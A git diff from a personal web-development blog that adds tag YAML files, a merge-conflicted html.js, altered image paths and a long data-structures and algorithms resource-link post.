+  \"Dynamic typing\"), and a combination of [reference
+  counting](https://en.wikipedia.org/wiki/Reference_counting \"Reference
+  counting\") and a cycle-detecting garbage collector for [memory
+  management](https://en.wikipedia.org/wiki/Memory_management \"Memory
+  management\").[\\[64\\]](https://en.wikipedia.org/wiki/Python_(programming_la\
+  nguage)#cite_note-Reference_counting-64) It uses dynamic [name
+  resolution](https://en.wikipedia.org/wiki/Name_resolution_(programming_langua\
+  ges) \"Name resolution (programming languages)\") ([late
+  binding](https://en.wikipedia.org/wiki/Late_binding \"Late binding\")), which
+  binds method and variable names during program execution.\r
+
+  \r
+
+  Its design offers some support for functional programming in the
+  [Lisp](https://en.wikipedia.org/wiki/Lisp_(programming_language) \"Lisp
+  (programming language)\") tradition. It has `filter`,`map`and`reduce`
+  functions; [list
+  comprehensions](https://en.wikipedia.org/wiki/List_comprehension \"List
+  comprehension\"),
+  [dictionaries](https://en.wikipedia.org/wiki/Associative_array \"Associative
+  array\"), sets, and
+  [generator](https://en.wikipedia.org/wiki/Generator_(computer_programming)
+  \"Generator (computer programming)\")
+  expressions.[\\[65\\]](https://en.wikipedia.org/wiki/Python_(programming_lang\
+  uage)#cite_note-AutoNT-59-65) The standard library has two modules
+  (`itertools` and `functools`) that implement functional tools borrowed from
+  [Haskell](https://en.wikipedia.org/wiki/Haskell_(programming_language)
+  \"Haskell (programming language)\") and [Standard
+  ML](https://en.wikipedia.org/wiki/Standard_ML \"Standard
+  ML\").[\\[66\\]](https://en.wikipedia.org/wiki/Python_(programming_language)#\
+  cite_note-AutoNT-18-66)\r
+
+  \r
+
+  Its core philosophy is \r
+
+  \r
+
+  -   Beautiful is better than ugly.\r
+
+  -   Explicit is better than implicit.\r
+
+  -   Simple is better than complex.\r
+
+  -   Complex is better than complicated.\r
+
+  -   Readability counts."
diff --git a/src/data/tags/react.yaml b/src/data/tags/react.yaml
new file mode 100644
index 0000000000..b49a190479
--- /dev/null
+++ b/src/data/tags/react.yaml
@@ -0,0 +1,19 @@
+id: react
+title: React
+description: >-
+  ### Declarative
+
+
+  ***React makes it painless to create interactive UIs. Design simple views for each state in your application, and React will efficiently update and render just the right components when your data changes.***
+
+
+  *Declarative views make your code more predictable and easier to debug.*
+
+
+  ### Component-Based
+
+
+  *Build encapsulated components that manage their own state, then compose them to make complex UIs.*
+
+
+  *Since component logic is written in JavaScript instead of templates, you can easily pass rich data through your app and keep state out of the DOM.*
diff --git a/src/data/tags/resources.yaml b/src/data/tags/resources.yaml
new file mode 100644
index 0000000000..1a4b712dfb
--- /dev/null
+++ b/src/data/tags/resources.yaml
@@ -0,0 +1,3 @@
+id: Resources
+title: Web Dev Resources
+description: "> General web development resources."
diff --git a/src/data/tags/russia.yaml b/src/data/tags/russia.yaml
new file mode 100644
index 0000000000..555137bd01
--- /dev/null
+++ b/src/data/tags/russia.yaml
@@ -0,0 +1,4 @@
+id: "Russia "
+title: "Russia "
+description: Putin’s 🏦
+link: "blog/category/geopolitics "
diff --git a/src/data/tags/search.yaml b/src/data/tags/search.yaml
new file mode 100644
index 0000000000..cc26f868e7
--- /dev/null
+++ b/src/data/tags/search.yaml
@@ -0,0 +1,19 @@
+id: Search
+title: "### Site search"
+description: >-
+  <!--StartFragment-->
+
+
+  ### 1. Site search gives users the information they want
+
+
+  Site search is an effective tool for visitors to make the navigation of your site as easy as possible. **Users want to find what they are looking for *right now*.** They are accustomed to high-quality search options such as Google or YouTube that make the right content quickly accessible.
+
+
+  Imagine the following scenario: A page visitor wants to find a pair of black jeans in size L on an e-commerce page. Instead of looking through the navigation and clicking through several layers of filters (men’s wear -> trousers -> jeans -> color: black -> size L), they can access the product they want instantly. Not only did they get to their result faster and save time, but they also could’ve investigated related offers to get them interested in other products (see more under reason #4)
+
+
+  The results users are getting can even be personalized. With a high-quality site search option, you can offer user-specific results depending on their previous behavior. Better user experience on your site increases happiness and drives conversion.
+
+
+  <!--EndFragment-->
diff --git a/src/data/tags/webdevhub.yaml b/src/data/tags/webdevhub.yaml
new file mode 100644
index 0000000000..89764c7100
--- /dev/null
+++ b/src/data/tags/webdevhub.yaml
@@ -0,0 +1,3 @@
+id: WebDevHub
+title: This Blog
+description: Things that pertain to the maintenance of this website.
diff --git a/src/html.js b/src/html.js
index 1777502038..d880280794 100644
--- a/src/html.js
+++ b/src/html.js
@@ -1,5 +1,17 @@
+<<<<<<< HEAD
 import React from 'react';
 import PropTypes from 'prop-types';
+=======
+/**
+ * It returns an HTML element with the attributes and components passed in as props
+ * @param props - The props passed to the component.
+ * @returns A React component that returns an HTML element.
+ */
+import PropTypes from "prop-types"
+import React from "react"
+
+
+>>>>>>> master
 export default function HTML(props) {
     return (
         <html {...props.htmlAttributes}>
diff --git a/src/pages/blog/awesome-graphql.md b/src/pages/blog/awesome-graphql.md
index a975310ea0..aa8881e96c 100644
--- a/src/pages/blog/awesome-graphql.md
+++ b/src/pages/blog/awesome-graphql.md
@@ -10,8 +10,8 @@ seo:
     robots: []
     extra: []
 template: post
-thumb_image: https://upload.wikimedia.org/wikipedia/commons/thumb/1/17/GraphQL_Logo.svg/225px-GraphQL_Logo.svg.png
-image: https://upload.wikimedia.org/wikipedia/commons/thumb/1/17/GraphQL_Logo.svg/225px-GraphQL_Logo.svg.png
+thumb_image: images/https://upload.wikimedia.org/wikipedia/commons/thumb/1/17/GraphQL_Logo.svg/225px-GraphQL_Logo.svg.png
+image: images/https://upload.wikimedia.org/wikipedia/commons/thumb/1/17/GraphQL_Logo.svg/225px-GraphQL_Logo.svg.png
 ---
 
 ## Table of Contents&#xA;&#xA;
diff --git a/src/pages/blog/data-structures-algorithms-resources.md b/src/pages/blog/data-structures-algorithms-resources.md
new file mode 100644
index 0000000000..ecfa7f9517
--- /dev/null
+++ b/src/pages/blog/data-structures-algorithms-resources.md
@@ -0,0 +1,251 @@
+---
+title: Data Structures & Algorithms Resources
+template: post
+subtitle: Links to useful educational resources
+excerpt: "Talk is cheap. Show me the code.  Software is like sex: it's better
+    when it's free.  Microsoft isn't evil, they just make really crappy operating
+    systems."
+date: 2022-04-09T12:24:38.027Z
+image: https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/ds-algo.png?raw=true
+thumb_image: https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/ds-algo.png?raw=true
+image_position: right
+author: src/data/authors/bgoonz.yaml
+categories:
+    - src/data/categories/ds.yaml
+tags:
+    - src/data/tags/data-structures-algorithms.yaml
+show_author_bio: true
+related_posts:
+    - src/pages/blog/data-structures-algorithms-resources.md
+cmseditable: true
+---
+
+# Data Structures & Algorithms Resource List Part 1
+
+Guess the author of the following quotes:
+
+## Data Structures & Algorithms Resource List Part 1 <a id="60dd">
+
+</a>
+
+Guess the author of the following quotes:
+
+> _Talk is cheap. Show me the code._
+>
+> _Software is like sex: it's better when it's free._
+>
+> _Microsoft isn't evil, they just make really crappy operating systems._
+
+![](https://cdn-images-1.medium.com/max/800/0*rbMyH5LxQQFozL7F)
+
+## Update: <a id="4129">
+
+</a>
+
+### Here's some more: <a id="42ff">
+
+</a>
+
+-   [The Framework for Learning Algorithms and intense problem solving exercises](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/think_like_computer/Framework%20and%20thoughts%20about%20learning%20data%20structure%20and%20algorithm.md)
+-   [Algs4: Recommended book for Learning Algorithms and Data Structures](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/think_like_computer/why_i_recommend_algs4.md)
+-   [An analysis of Dynamic Programming](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/dynamic_programming/AnalysisOfDynamicProgramming.md)
+-   [Dynamic Programming Q&A — What is Optimal Substructure](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/dynamic_programming/OptimalSubstructure.md)
+-   [The Framework for Backtracking Algorithm](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/think_like_computer/DetailsaboutBacktracking.md)
+-   [Binary Search in Detail: I wrote a Poem](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/think_like_computer/DetailedBinarySearch.md)
+-   [The Sliding Window Technique](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/think_like_computer/SlidingWindowTechnique.md)
+-   [Difference Between Process and Thread in Linux](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/common_knowledge/linuxProcess.md)
+-   [Some Good Online Practice Platforms](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/common_knowledge/OnlinePraticePlatform.md)
+-   [Dynamic Programming in Details](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/dynamic_programming/AnalysisOfDynamicProgramming.md)
+-   [Dynamic Programming Q&A — What is Optimal Substructure](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/dynamic_programming/OptimalSubstructure.md)
+-   [Classic DP: Longest Common Subsequence](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/dynamic_programming/LongestCommonSubsequence.md)
+-   [Classic DP: Edit Distance](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/dynamic_programming/EditDistance.md)
+-   [Classic DP: Super Egg](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/dynamic_programming/ThrowingEggsinHighBuildings.md)
+-   [Classic DP: Super Egg \(Advanced Solution\)](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/dynamic_programming/SuperEggDropAdvanced.md)
+-   [The Strategies of Subsequence Problem](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/dynamic_programming/StrategiesForSubsequenceProblem.md)
+-   [Classic DP: Game Problems](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/dynamic_programming/GameProblemsInDynamicProgramming.md)
+-   [Greedy: Interval Scheduling](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/dynamic_programming/IntervalScheduling.md)
+-   [KMP Algorithm In Detail](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/dynamic_programming/KMPCharacterMatchingAlgorithmInDynamicProgramming.md)
+-   [A solution to all Buy Time to Buy and Sell Stock Problems](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/dynamic_programming/BestTimeToBuyAndSellStock.md)
+-   [A solution to all House Robber Problems](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/dynamic_programming/HouseRobber.md)
+-   [4 Keys Keyboard](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/dynamic_programming/FourKeysKeyboard.md)
+-   [Regular Expression](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/dynamic_programming/RegularExpression.md)
+-   [Longest Increasing Subsequence](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/dynamic_programming/LongestIncreasingSubsequence.md)
+-   [The Framework for Learning Algorithms and intense problem solving exercises](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/think_like_computer/Framework%20and%20thoughts%20about%20learning%20data%20structure%20and%20algorithm.md)
+-   [Algs4: Recommended book for Learning Algorithms and Data Structures](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/think_like_computer/why_i_recommend_algs4.md)
+-   [Binary Heap and Priority Queue](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/data_structure/binary_heap_implements_priority_queues.md)
+-   [LRU Cache Strategy in Detail](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/interview/LRU_algorithm.md)
+-   [Collections of Binary Search Operations](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/data_structure/The_Manipulation_Collection_of_Binary_Search_Tree.md)
+-   [Special Data Structure: Monotonic Stack](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/data_structure/MonotonicStack.md)
+-   [Special Data Structure: Monotonic Stack](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/data_structure/Monotonic_queue.md)
+-   [Design Twitter](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/data_structure/design_Twitter.md)
+-   [Reverse Part of Linked List via Recursion](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/data_structure/reverse_part_of_a_linked_list_via_recursion.md)
+-   [Queue Implement Stack/Stack implement Queue](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/data_structure/ImplementQueueUsingStacksImplementStackUsingQueues.md)
+-   [My Way to Learn Algorithm](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/think_like_computer/ThewaytoAlgorithmlearning.md)
+-   [The Framework of Backtracking Algorithm](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/think_like_computer/DetailsaboutBacktracking.md)
+-   [Binary Search in Detail](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/think_like_computer/DetailedBinarySearch.md)
+-   [Backtracking Solve Subset/Permutation/Combination](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/interview/Subset_Permutation_Combination.md)
+-   [Diving into the technical parts of Double Pointers](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/think_like_computer/double_pointer.md)
+-   [Sliding Window Technique](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/think_like_computer/SlidingWindowTechnique.md)
+-   [The Core Concept of TwoSum Problems](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/think_like_computer/The_key_to_resolving_TwoSum_problems.md)
+-   [Common Bit Manipulations](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/think_like_computer/CommonBitManipulation.md)
+-   [Breaking down a Complicated Problem: Implement a Calculator](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/data_structure/Implementing_the_functions_of_a_calculator.md)
+-   [Pancake Sorting Algorithm](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/think_like_computer/PancakesSorting.md)
+-   [Prefix Sum: Intro and Concept](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/think_like_computer/prefix_sum.md)
+-   [String Multiplication](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/think_like_computer/string_multiplication.md)
+-   [FloodFill Algorithm in Detail](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/think_like_computer/flood_fill.md)
+-   [Interval Scheduling: Interval Merging](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/think_like_computer/IntervalMerging.md)
+-   [Interval Scheduling: Intersections of Intervals](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/think_like_computer/IntervalIntersection.md)
+-   [Russian Doll Envelopes Problem](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/think_like_computer/RussianDollEnvelopes.md)
+-   [A collection of counter-intuitive Probability Problems](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/think_like_computer/several_counter_intuitive_probability_problems.md)
+-   [Shuffle Algorithm](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/think_like_computer/Shuffle_Algorithm.md)
+-   [Recursion In Detail](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/data_structure/RecursionInDetail.md)
+-   [How to Implement LRU Cache](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/interview/LRU_algorithm.md)
+-   [How to Find Prime Number Efficiently](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/interview/Print_PrimeNumbers.md)
+-   [How to Calculate Minimium Edit Distance](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/dynamic_programming/EditDistance.md)
+-   [How to use Binary Search](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/interview/UsingBinarySearchAlgorithm.md)
+-   [How to efficiently solve Trapping Rain Water Problem](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/interview/Trapping_Rain_Water.md)
+-   [How to Remove Duplicates From Sorted Array](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/interview/RemoveDuplicatesfromSortedArray.md)
+-   [How to Find Longest Palindromic Substring](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/interview/TheLongestPalindromicSubstring.md)
+-   [How to Reverse Linked List in K Group](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/interview/reverse-nodes-in-k-group.md)
+-   [How to Check the Validation of Parenthesis](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/interview/valid-parentheses.md)
+-   [How to Find Missing Element](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/interview/missing_elements.md)
+-   [How to Find Duplicates and Missing Elements](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/interview/Find-Duplicate-and-Missing-Element.md)
+-   [How to Check Palindromic LinkedList](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/interview/check_palindromic_linkedlist.md)
+-   [How to Pick Elements From an Infinite Arbitrary Sequence](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/interview/ReservoirSampling.md)
+-   [How to Schedule Seats for Students](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/interview/Seatscheduling.md)
+-   [Union-Find Algorithm in Detail](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/think_like_computer/Union-find-Explanation.md)
+-   [Union-Find Application](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/think_like_computer/Union-Find-Application.md)
+-   [Problems that can be solved in one line](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/interview/one-line-code-puzzles.md)
+-   [Find Subsequence With Binary Search](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/interview/findSebesquenceWithBinarySearch.md)
+-   [Difference Between Process and Thread in Linux](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/common_knowledge/linuxProcess.md)
+-   [You Must Know About Linux Shell](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/common_knowledge/linuxshell.md)
+-   [You Must Know About Cookie and Session](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/common_knowledge/SessionAndCookie.md)
+-   [Cryptology Algorithm](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/common_knowledge/Cryptology.md)
+-   [Some Good Online Practice Platforms](https://72a70b9d-739e-477a-bd84-85357c883a09.vscode-webview-test.com/vscode-resource/file///c:/MY-WEB-DEV/\_JOB-SEARCH/03-Interview-Prep/01-reference-guides/common_knowledge/OnlinePraticePlatform.md)
+
+## Algorithms: <a id="119a">
+
+</a>
+
+-   [100 days of algorithms](https://github.com/coells/100days)
+-   [Algorithms](https://github.com/marcosfede/algorithms) — Solved algorithms and data structures problems in many languages.
+-   [Algorithms by Jeff Erickson](http://jeffe.cs.illinois.edu/teaching/algorithms/) \([Code](https://github.com/jeffgerickson/algorithms)\) \([HN](https://news.ycombinator.com/item?id=26074289)\)
+-   [Top algos/DS to learn](https://www.reddit.com/r/compsci/comments/5uz9lb/top_algorithmsdata_structuresconcepts_every/ddy8azz/)
+-   [Some neat algorithms](https://www.nayuki.io/category/programming)
+-   [Mathematical Proof of Algorithm Correctness and Efficiency \(2019\)](https://stackabuse.com/mathematical-proof-of-algorithm-correctness-and-efficiency/)
+-   [Algorithm Visualizer](https://github.com/algorithm-visualizer/algorithm-visualizer) — Interactive online platform that visualizes algorithms from code.
+-   [Algorithms for Optimization book](https://mitpress.mit.edu/books/algorithms-optimization)
+-   [Collaborative book on algorithms](https://www.algorithm-archive.org/) \([Code](https://github.com/algorithm-archivists/algorithm-archive)\)
+-   [Algorithms in C by Robert Sedgewick](http://index-of.co.uk/Algorithms/Algorithms%20in%20C.pdf)
+-   [Algorithm Design Manual](http://mimoza.marmara.edu.tr/~msakalli/cse706_12/SkienaTheAlgorithmDesignManual.pdf)
+-   [MIT Introduction to Algorithms course \(2011\)](https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-006-introduction-to-algorithms-fall-2011/)
+-   [How to implement an algorithm from a scientific paper \(2012\)](http://codecapsule.com/2012/01/18/how-to-implement-a-paper/)
+-   [Quadsort](https://github.com/scandum/quadsort) — Stable non-recursive merge sort named quadsort.
+-   [System design algorithms](https://github.com/resumejob/system-design-algorithms) — Algorithms you should know before system design.
+-   [Algorithms Design book](http://www.cs.sjtu.edu.cn/~jiangli/teaching/CS222/files/materials/Algorithm%20Design.pdf)
+-   [Think Complexity](http://greenteapress.com/complexity/html/index.html)
+-   [All Algorithms implemented in Rust](https://github.com/TheAlgorithms/Rust)
+-   [Solutions to Introduction to Algorithms book](https://walkccc.github.io/CLRS/) \([Code](https://github.com/walkccc/CLRS)\)
+-   [Maze Algorithms \(2011\)](https://www.jamisbuck.org/mazes/) \([HN](https://news.ycombinator.com/item?id=23429368)\)
+-   [Algorithmic Design Paradigms book](https://page.skerritt.blog/algorithms/) \([Code](https://github.com/brandonskerritt/AlgorithmsBook)\)
+-   [Words and buttons Online Blog](https://wordsandbuttons.online/) \([Code](https://github.com/akalenuk/wordsandbuttons)\)
+-   [Algorithms animated](https://www.chrislaux.com/)
+-   [Cache Oblivious Algorithms \(2020\)](https://jiahai-feng.github.io/posts/cache-oblivious-algorithms/) \([HN](https://news.ycombinator.com/item?id=23662434)\)
+-   [You could have invented fractional cascading \(2012\)](http://blog.ezyang.com/2012/03/you-could-have-invented-fractional-cascading/)
